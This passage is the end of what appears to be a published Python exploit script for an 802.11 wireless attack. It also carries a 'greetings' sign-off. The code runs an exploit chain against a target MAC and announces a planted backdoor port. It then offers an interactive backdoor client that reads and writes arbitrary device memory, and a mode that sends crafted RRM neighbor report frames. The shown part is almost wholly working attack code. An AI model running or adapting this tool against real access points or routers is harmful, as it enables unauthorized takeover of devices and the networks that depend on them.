engine\\&#8221;)\\n                return\\n            \\n            if args.mode == \\&#8221;exploit\\&#8221;:\\n                # Execute full exploit chain\\n                success = engine.execute_full_chain()\\n                \\n                if success:\\n                    print(\\&#8221;\\\\n\\&#8221; + \\&#8221;=\\&#8221;*60)\\n                    print(\\&#8221;EXPLOIT SUCCESSFUL!\\&#8221;)\\n                    print(f\\&#8221;Backdoor should be active on port {config.BACKDOOR_PORT}\\&#8221;)\\n                    print(\\&#8221;\\\\nConnect using:\\&#8221;)\\n                    print(f\\&#8221;  {sys.argv[0]} -t {config.TARGET_MAC} &#8211;mode backdoor\\&#8221;)\\n                    print(\\&#8221;=\\&#8221;*60)\\n            \\n            elif args.mode == \\&#8221;backdoor\\&#8221;:\\n                # Connect to backdoor\\n                print(f\\&#8221;[*] Connecting to backdoor on port {config.BACKDOOR_PORT}\\&#8221;)\\n                \\n                # Try common local IPs\\n                possible_ips = [\\&#8221;192.168.1.1\\&#8221;, \\&#8221;192.168.0.1\\&#8221;, \\&#8221;10.0.0.1\\&#8221;]\\n                \\n                for ip in possible_ips:\\n                    print(f\\&#8221;[*] Trying {ip}:{config.BACKDOOR_PORT}\\&#8221;)\\n                    client = BackdoorClient(ip, config.BACKDOOR_PORT)\\n                    \\n                    if client.connect():\\n                        print(\\&#8221;[+] Backdoor is active!\\&#8221;)\\n                        print(\\&#8221;\\\\nAvailable commands:\\&#8221;)\\n                        print(\\&#8221;  read \\u003chex_address\\u003e \\u003csize\\u003e\\&#8221;)\\n                        print(\\&#8221;  write \\u003chex_address\\u003e \\u003chex_data\\u003e\\&#8221;)\\n                        print(\\&#8221;  exit\\&#8221;)\\n                        \\n                        while True:\\n                            try:\\n                                cmd = input(\\&#8221;\\\\nbackdoor\\u003e \\&#8221;).strip()\\n                                \\n                                if cmd.lower() == \\&#8221;exit\\&#8221;:\\n                                    break\\n                                elif cmd.startswith(\\&#8221;read \\&#8221;):\\n                                    _, addr_str, size_str = cmd.split()\\n                                    addr = int(addr_str, 16)\\n                                    size = int(size_str)\\n                                    \\n                                    data = client.read_memory(addr, size)\\n                                    if data:\\n                                        hex_data = binascii.hexlify(data).decode()\\n                                        print(f\\&#8221;Data: {hex_data}\\&#8221;)\\n                                    else:\\n                                        print(\\&#8221;[-] Read failed\\&#8221;)\\n                                \\n                                elif cmd.startswith(\\&#8221;write \\&#8221;):\\n                                    _, addr_str, data_str = cmd.split()\\n                                    addr = int(addr_str, 16)\\n                                    data = binascii.unhexlify(data_str)\\n                                    \\n                                    if client.write_memory(addr, data):\\n                                        print(\\&#8221;[+] Write successful\\&#8221;)\\n                                    else:\\n                                        print(\\&#8221;[-] Write failed\\&#8221;)\\n                                \\n                                else:\\n                                    print(\\&#8221;[-] Unknown command\\&#8221;)\\n                            \\n                            except KeyboardInterrupt:\\n                                break\\n                            except Exception as e:\\n                                print(f\\&#8221;[-] Error: {e}\\&#8221;)\\n                        \\n                        client.disconnect()\\n                        break\\n                    else:\\n                        print(f\\&#8221;[-] No backdoor on {ip}\\&#8221;)\\n            \\n            elif args.mode == \\&#8221;test\\&#8221;:\\n                # Test mode &#8211; send probe frames\\n                print(\\&#8221;[*] Test mode &#8211; sending probe frames\\&#8221;)\\n                engine.broadcast_beacons(5)\\n                time.sleep(1)\\n                \\n                # Send test RRM frame\\n                print(\\&#8221;[*] Sending test RRM frame\\&#8221;)\\n                test_frame = engine.frame_builder.create_radiotap_header()\\n                test_frame += engine.frame_builder.create_dot11_frame(\\n                    config.TARGET_MAC,\\n                    config.ATTACKER_MAC,\\n                    config.ATTACKER_MAC,\\n                    frame_type=0x00D0\\n                )\\n                test_frame += engine.frame_builder.create_rrm_neighbor_report(\\n                    0x01,\\n                    0x01  # Normal channel\\n                )\\n                \\n                engine.send_frame(test_frame)\\n                print(\\&#8221;[+] Test frame sent\\&#8221;)\\n        \\n        except KeyboardInterrupt:\\n            print(\\&#8221;\\\\n[*] Exploit interrupted by user\\&#8221;)\\n        except Exception as e:\\n            print(f\\&#8221;\\\\n[-] Unexpected error: {e}\\&#8221;)\\n            if args.verbose:\\n                import traceback\\n                traceback.print_exc()\\n        finally:\\n            # Cleanup\\n            print(\\&#8221;\\\\n[*] Cleaning up&#8230;\\&#8221;)\\n            \\n            if &#8216;engine&#8217; in locals():\\n                engine.cleanup()\\n            \\n            if &#8216;ap_proc&#8217; in locals():\\n                ap_proc.terminate()\\n            \\n            if &#8216;monitor_iface&#8217; in locals():\\n                monitor.disable_monitor_mode(monitor_iface)\\n            \\n            # Clean temporary files\\n            if os.path.exists(config.HOSTAPD_CONF):\\n                os.remove(config.HOSTAPD_CONF)\\n            \\n            print(\\&#8221;[+] Cleanup completed\\&#8221;)\\n    \\n    if __name__ == \\&#8221;__main__\\&#8221;:\\n        main()\\n    \\t\\n    Greetings to :=====================================================================================\\n    jericho * Larry W. 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